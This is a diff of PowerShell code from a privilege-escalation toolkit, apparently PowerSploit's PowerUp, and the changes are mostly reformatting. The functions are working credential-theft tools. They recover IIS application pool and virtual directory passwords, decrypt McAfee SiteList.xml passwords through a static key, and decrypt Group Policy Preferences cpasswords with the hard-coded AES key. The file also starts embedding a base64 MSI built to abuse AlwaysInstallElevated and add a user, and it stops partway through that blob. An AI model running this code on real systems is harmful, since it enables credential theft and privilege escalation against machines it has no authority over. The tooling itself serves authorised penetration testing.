+ if ( $DataTable.rows.Count -gt 0 ) { # Display results in list view that can feed into the pipeline - $DataTable | Sort-Object user,pass,dbserv,vdir,path,encr | Select-Object user,pass,dbserv,vdir,path,encr -Unique + $DataTable | Sort-Object user,pass,dbserv,vdir,path,encr | Select-Object user,pass,dbserv,vdir,path,encr -Unique } else { Write-Verbose 'No connection strings found.' @@ -3175,79 +3781,96 @@ function Get-WebConfig { Write-Verbose 'Appcmd.exe does not exist in the default location.' $False } - $ErrorActionPreference = $OrigError } function Get-ApplicationHost { - <# - .SYNOPSIS +<# +.SYNOPSIS - This script will recover encrypted application pool and virtual directory passwords from the applicationHost.config on the system. - - .DESCRIPTION - - This script will decrypt and recover application pool and virtual directory passwords - from the applicationHost.config file on the system. The output supports the - pipeline which can be used to convert all of the results into a pretty table by piping - to format-table. - - .EXAMPLE - - Return application pool and virtual directory passwords from the applicationHost.config on the system. - - PS C:\> Get-ApplicationHost - user : PoolUser1 - pass : PoolParty1! - type : Application Pool - vdir : NA - apppool : ApplicationPool1 - user : PoolUser2 - pass : PoolParty2! - type : Application Pool - vdir : NA - apppool : ApplicationPool2 - user : VdirUser1 - pass : VdirPassword1! - type : Virtual Directory - vdir : site1/vdir1/ - apppool : NA - user : VdirUser2 - pass : VdirPassword2! - type : Virtual Directory - vdir : site2/ - apppool : NA - - .EXAMPLE - - Return a list of cleartext and decrypted connect strings from web.config files. - - PS C:\> Get-ApplicationHost | Format-Table -Autosize - - user pass type vdir apppool - ---- ---- ---- ---- ------- - PoolUser1 PoolParty1! Application Pool NA ApplicationPool1 - PoolUser2 PoolParty2! Application Pool NA ApplicationPool2 - VdirUser1 VdirPassword1! Virtual Directory site1/vdir1/ NA - VdirUser2 VdirPassword2! Virtual Directory site2/ NA +Recovers encrypted application pool and virtual directory passwords from the applicationHost.config on the system. - .LINK +Author: Scott Sutherland +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This script will decrypt and recover application pool and virtual directory passwords +from the applicationHost.config file on the system. The output supports the +pipeline which can be used to convert all of the results into a pretty table by piping +to format-table. + +.EXAMPLE + +Return application pool and virtual directory passwords from the applicationHost.config on the system. + +Get-ApplicationHost + +user : PoolUser1 +pass : PoolParty1! +type : Application Pool +vdir : NA +apppool : ApplicationPool1 +user : PoolUser2 +pass : PoolParty2! +type : Application Pool +vdir : NA +apppool : ApplicationPool2 +user : VdirUser1 +pass : VdirPassword1! +type : Virtual Directory +vdir : site1/vdir1/ +apppool : NA +user : VdirUser2 +pass : VdirPassword2! +type : Virtual Directory +vdir : site2/ +apppool : NA + +.EXAMPLE - https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 - http://www.netspi.com - http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe - http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx +Return a list of cleartext and decrypted connect strings from web.config files. - .NOTES +Get-ApplicationHost | Format-Table -Autosize - Author: Scott Sutherland - 2014, NetSPI - Version: Get-ApplicationHost v1.0 - Comments: Should work on IIS 6 and Above +user pass type vdir apppool +---- ---- ---- ---- ------- +PoolUser1 PoolParty1! Application Pool NA ApplicationPool1 +PoolUser2 PoolParty2! Application Pool NA ApplicationPool2 +VdirUser1 VdirPassword1! Virtual Directory site1/vdir1/ NA +VdirUser2 VdirPassword2! Virtual Directory site2/ NA + +.OUTPUTS + +System.Data.DataTable + +System.Boolean + +.LINK + +https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 +http://www.netspi.com +http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe +http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx + +.NOTES + +Author: Scott Sutherland - 2014, NetSPI +Version: Get-ApplicationHost v1.0 +Comments: Should work on IIS 6 and Above #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingInvokeExpression', '')] + [OutputType('System.Data.DataTable')] + [OutputType('System.Boolean')] + [CmdletBinding()] + Param() + $OrigError = $ErrorActionPreference - $ErrorActionPreference = "SilentlyContinue" + $ErrorActionPreference = 'SilentlyContinue' # Check if appcmd.exe exists if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) { @@ -3255,11 +3878,11 @@ function Get-ApplicationHost { $DataTable = New-Object System.Data.DataTable # Create and name columns in the data table - $Null = $DataTable.Columns.Add("user") - $Null = $DataTable.Columns.Add("pass") - $Null = $DataTable.Columns.Add("type") - $Null = $DataTable.Columns.Add("vdir") - $Null = $DataTable.Columns.Add("apppool") + $Null = $DataTable.Columns.Add('user') + $Null = $DataTable.Columns.Add('pass') + $Null = $DataTable.Columns.Add('type') + $Null = $DataTable.Columns.Add('vdir') + $Null = $DataTable.Columns.Add('apppool') # Get list of application pools Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object { @@ -3304,7 +3927,7 @@ function Get-ApplicationHost { } # Check if any passwords were found - if( $DataTable.rows.Count -gt 0 ) { + if ( $DataTable.rows.Count -gt 0 ) { # Display results in list view that can feed into the pipeline $DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique } @@ -3318,79 +3941,82 @@ function Get-ApplicationHost { Write-Verbose 'Appcmd.exe does not exist in the default location.' $False } - $ErrorActionPreference = $OrigError } function Get-SiteListPassword { <# - .SYNOPSIS +.SYNOPSIS - Retrieves the plaintext passwords for found McAfee's SiteList.xml files. - Based on Jerome Nokin (@funoverip)'s Python solution (in links). - - PowerSploit Function: Get-SiteListPassword - Original Author: Jerome Nokin (@funoverip) - PowerShell Port: @harmj0y - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - - .DESCRIPTION - - Searches for any McAfee SiteList.xml in C:\Program Files\, C:\Program Files (x86)\, - C:\Documents and Settings\, or C:\Users\. For any files found, the appropriate - credential fields are extracted and decrypted using the internal Get-DecryptedSitelistPassword - function that takes advantage of McAfee's static key encryption. Any decrypted credentials - are output in custom objects. See links for more information. - - .PARAMETER Path - - Optional path to a SiteList.xml file or folder. - - .EXAMPLE - - PS C:\> Get-SiteListPassword - - EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== - UserName : - Path : Products/CommonUpdater - Name : McAfeeHttp - DecPassword : MyStrongPassword! - Enabled : 1 - DomainName : - Server : update.nai.com:80 - - EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== - UserName : McAfeeService - Path : Repository$ - Name : Paris - DecPassword : MyStrongPassword! - Enabled : 1 - DomainName : companydomain - Server : paris001 - - EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== - UserName : McAfeeService - Path : Repository$ - Name : Tokyo - DecPassword : MyStrongPassword! - Enabled : 1 - DomainName : companydomain - Server : tokyo000 +Retrieves the plaintext passwords for found McAfee's SiteList.xml files. +Based on Jerome Nokin (@funoverip)'s Python solution (in links). - .LINK +Author: Jerome Nokin (@funoverip) +PowerShell Port: @harmj0y +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Searches for any McAfee SiteList.xml in C:\Program Files\, C:\Program Files (x86)\, +C:\Documents and Settings\, or C:\Users\. For any files found, the appropriate +credential fields are extracted and decrypted using the internal Get-DecryptedSitelistPassword +function that takes advantage of McAfee's static key encryption. Any decrypted credentials +are output in custom objects. See links for more information. + +.PARAMETER Path - https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ - https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/ - https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md - https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf +Optional path to a SiteList.xml file or folder. + +.EXAMPLE + +Get-SiteListPassword + +EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== +UserName : +Path : Products/CommonUpdater +Name : McAfeeHttp +DecPassword : MyStrongPassword! +Enabled : 1 +DomainName : +Server : update.nai.com:80 + +EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== +UserName : McAfeeService +Path : Repository$ +Name : Paris +DecPassword : MyStrongPassword! +Enabled : 1 +DomainName : companydomain +Server : paris001 + +EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== +UserName : McAfeeService +Path : Repository$ +Name : Tokyo +DecPassword : MyStrongPassword! +Enabled : 1 +DomainName : companydomain +Server : tokyo000 + +.OUTPUTS + +PowerUp.SiteListPassword + +.LINK + +https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ +https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/ +https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md +https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.SiteListPassword')] [CmdletBinding()] - param( - [Parameter(Position=0, ValueFromPipeline=$True)] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] [ValidateScript({Test-Path -Path $_ })] [String[]] $Path @@ -3401,9 +4027,10 @@ function Get-SiteListPassword { # PowerShell adaptation of https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ # Original Author: Jerome Nokin (@funoverip / jerome.nokin@gmail.com) # port by @harmj0y + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] - Param ( - [Parameter(Mandatory=$True)] + Param( + [Parameter(Mandatory = $True)] [String] $B64Pass ) @@ -3437,7 +4064,7 @@ function Get-SiteListPassword { # ignore the padding for the result $Index = [Array]::IndexOf($Decrypted, [Byte]0) - if($Index -ne -1) { + if ($Index -ne -1) { $DecryptedPass = $Encoding.GetString($Decrypted[0..($Index-1)]) } else { @@ -3447,10 +4074,11 @@ function Get-SiteListPassword { New-Object -TypeName PSObject -Property @{'Encrypted'=$B64Pass;'Decrypted'=$DecryptedPass} } - function Local:Get-SitelistFields { + function Local:Get-SitelistField { + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] - Param ( - [Parameter(Mandatory=$True)] + Param( + [Parameter(Mandatory = $True)] [String] $Path ) @@ -3458,23 +4086,23 @@ function Get-SiteListPassword { try { [Xml]$SiteListXml = Get-Content -Path $Path - if($SiteListXml.InnerXml -Like "*password*") { + if ($SiteListXml.InnerXml -Like "*password*") { Write-Verbose "Potential password in found in $Path" $SiteListXml.SiteLists.SiteList.ChildNodes | Foreach-Object { try { $PasswordRaw = $_.Password.'#Text' - if($_.Password.Encrypted -eq 1) { + if ($_.Password.Encrypted -eq 1) { # decrypt the base64 password if it's marked as encrypted - $DecPassword = if($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''} + $DecPassword = if ($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''} } else { $DecPassword = $PasswordRaw } - $Server = if($_.ServerIP) { $_.ServerIP } else { $_.Server } - $Path = if($_.ShareName) { $_.ShareName } else { $_.RelativePath } + $Server = if ($_.ServerIP) { $_.ServerIP } else { $_.Server } + $Path = if ($_.ShareName) { $_.ShareName } else { $_.RelativePath } $ObjectProperties = @{ 'Name' = $_.Name; @@ -3486,7 +4114,9 @@ function Get-SiteListPassword { 'EncPassword' = $PasswordRaw; 'DecPassword' = $DecPassword; } - New-Object -TypeName PSObject -Property $ObjectProperties + $Out = New-Object -TypeName PSObject -Property $ObjectProperties + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.SiteListPassword') + $Out } catch { Write-Verbose "Error parsing node : $_" @@ -3501,7 +4131,7 @@ function Get-SiteListPassword { } PROCESS { - if($PSBoundParameters['Path']) { + if ($PSBoundParameters['Path']) { $XmlFilePaths = $Path } else { @@ -3510,7 +4140,7 @@ function Get-SiteListPassword { $XmlFilePaths | Foreach-Object { Get-ChildItem -Path $_ -Recurse -Include 'SiteList.xml' -ErrorAction SilentlyContinue } | Where-Object { $_ } | Foreach-Object { Write-Verbose "Parsing SiteList.xml file '$($_.Fullname)'" - Get-SitelistFields -Path $_.Fullname + Get-SitelistField -Path $_.Fullname } } } @@ -3518,63 +4148,63 @@ function Get-SiteListPassword { function Get-CachedGPPPassword { <# - .SYNOPSIS +.SYNOPSIS - Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and left in cached files on the host. +Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and +left in cached files on the host. - PowerSploit Function: Get-CachedGPPPassword - Author: Chris Campbell (@obscuresec), local cache mods by @harmj0y - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - - .DESCRIPTION +Author: Chris Campbell (@obscuresec), local cache mods by @harmj0y +License: BSD 3-Clause +Required Dependencies: None - Get-CachedGPPPassword searches the local machine for cached for groups.xml, scheduledtasks.xml, services.xml and datasources.xml files and returns plaintext passwords. +.DESCRIPTION - .EXAMPLE +Get-CachedGPPPassword searches the local machine for cached for groups.xml, scheduledtasks.xml, services.xml and +datasources.xml files and returns plaintext passwords. - PS C:\> Get-CachedGPPPassword +.EXAMPLE +Get-CachedGPPPassword - NewName : [BLANK] - Changed : {2013-04-25 18:36:07} - Passwords : {Super!!!Password} - UserNames : {SuperSecretBackdoor} - File : C:\ProgramData\Microsoft\Group Policy\History\{32C4C89F-7 - C3A-4227-A61D-8EF72B5B9E42}\Machine\Preferences\Groups\Gr - oups.xml +NewName : [BLANK] +Changed : {2013-04-25 18:36:07} +Passwords : {Super!!!Password} +UserNames : {SuperSecretBackdoor} +File : C:\ProgramData\Microsoft\Group Policy\History\{32C4C89F-7 + C3A-4227-A61D-8EF72B5B9E42}\Machine\Preferences\Groups\Gr + oups.xml - .LINK - - http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html - https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 - https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb - http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences - http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html +.LINK + +http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html +https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 +https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb +http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences +http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html #> - + [CmdletBinding()] Param() - + # Some XML issues between versions Set-StrictMode -Version 2 # make sure the appropriate assemblies are loaded Add-Type -Assembly System.Security Add-Type -Assembly System.Core - + # helper that decodes and decrypts password function local:Get-DecryptedCpassword { + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] [CmdletBinding()] - Param ( - [string] $Cpassword + Param( + [string] $Cpassword ) try { - # Append appropriate padding based on string length + # Append appropriate padding based on string length $Mod = ($Cpassword.length % 4) - + switch ($Mod) { '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} '2' {$Cpassword += ('=' * (4 - $Mod))} @@ -3582,34 +4212,36 @@ function Get-CachedGPPPassword { } $Base64Decoded = [Convert]::FromBase64String($Cpassword) - + # Create a new AES .NET Crypto Object $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) - + # Set IV to all nulls to prevent dynamic generation of IV value - $AesIV = New-Object Byte[]($AesObject.IV.Length) + $AesIV = New-Object Byte[]($AesObject.IV.Length) $AesObject.IV = $AesIV $AesObject.Key = $AesKey - $DecryptorObject = $AesObject.CreateDecryptor() + $DecryptorObject = $AesObject.CreateDecryptor() [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) - + return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) - } - - catch {Write-Error $Error[0]} - } - + } + + catch { + Write-Error $Error[0] + } + } + # helper that parses fields from the found xml preference files - function local:Get-GPPInnerFields { + function local:Get-GPPInnerField { + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] - Param ( - $File + Param( + $File ) - + try { - $Filename = Split-Path $File -Leaf [XML] $Xml = Get-Content ($File) @@ -3618,12 +4250,12 @@ function Get-CachedGPPPassword { $NewName = @() $Changed = @() $Password = @() - + # check for password field if ($Xml.innerxml -like "*cpassword*"){ - + Write-Verbose "Potential password in $File" - + switch ($Filename) { 'Groups.xml' { $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} @@ -3631,78 +4263,78 @@ function Get-CachedGPPPassword { $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value} $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} } - - 'Services.xml' { + + 'Services.xml' { $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value} $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} } - + 'Scheduledtasks.xml' { $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value} $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} } - - 'DataSources.xml' { + + 'DataSources.xml' { $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} } - - 'Printers.xml' { + + 'Printers.xml' { $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} } - - 'Drives.xml' { + + 'Drives.xml' { $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} } } } - - foreach ($Pass in $Cpassword) { + + ForEach ($Pass in $Cpassword) { Write-Verbose "Decrypting $Pass" $DecryptedPassword = Get-DecryptedCpassword $Pass Write-Verbose "Decrypted a password of $DecryptedPassword" #append any new passwords to array $Password += , $DecryptedPassword } - + # put [BLANK] in variables if (-not $Password) {$Password = '[BLANK]'} if (-not $UserName) {$UserName = '[BLANK]'} if (-not $Changed) {$Changed = '[BLANK]'} if (-not $NewName) {$NewName = '[BLANK]'} - + # Create custom object to output results $ObjectProperties = @{'Passwords' = $Password; 'UserNames' = $UserName; 'Changed' = $Changed; 'NewName' = $NewName; 'File' = $File} - + $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties Write-Verbose "The password is between {} and may be more than one value." - if ($ResultsObject) {Return $ResultsObject} + if ($ResultsObject) { Return $ResultsObject } } catch {Write-Error $Error[0]} } - + try { $AllUsers = $Env:ALLUSERSPROFILE - if($AllUsers -notmatch 'ProgramData') { + if ($AllUsers -notmatch 'ProgramData') { $AllUsers = "$AllUsers\Application Data" } # discover any locally cached GPP .xml files $XMlFiles = Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue - + if ( -not $XMlFiles ) { Write-Verbose 'No preference files found.' } @@ -3710,32 +4342,56 @@ function Get-CachedGPPPassword { Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." ForEach ($File in $XMLFiles) { - Get-GppInnerFields $File.Fullname + Get-GppInnerField $File.Fullname } } } - catch {Write-Error $Error[0]} + catch { + Write-Error $Error[0] + } } function Write-UserAddMSI { <# - .SYNOPSIS +.SYNOPSIS + +Writes out a precompiled MSI installer that prompts for a user/group addition. +This function can be used to abuse Get-RegistryAlwaysInstallElevated. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Writes out a precompiled MSI installer that prompts for a user/group addition. +This function can be used to abuse Get-RegistryAlwaysInstallElevated. + +.EXAMPLE - Writes out a precompiled MSI installer that prompts for a user/group addition. - This function can be used to abuse Get-RegistryAlwaysInstallElevated. +Write-UserAddMSI - .EXAMPLE +Writes the user add MSI to the local directory. - PS C:\> Write-UserAddMSI +.OUTPUTS - Writes the user add MSI to the local directory. +PowerUp.UserAddMSI #> - $Path = 'UserAdd.msi' + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('ServiceProcess.UserAddMSI')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ServiceName')] + [String] + [ValidateNotNullOrEmpty()] + $Path = 'UserAdd.msi' + ) - $Binary = "0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgAEAP7/DAAGAAAAAAAAAAEAAAABAAAAAQAAAAAAAAAAEAAAAgAAAAEAAAD+////AAAAAAAAAAD///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA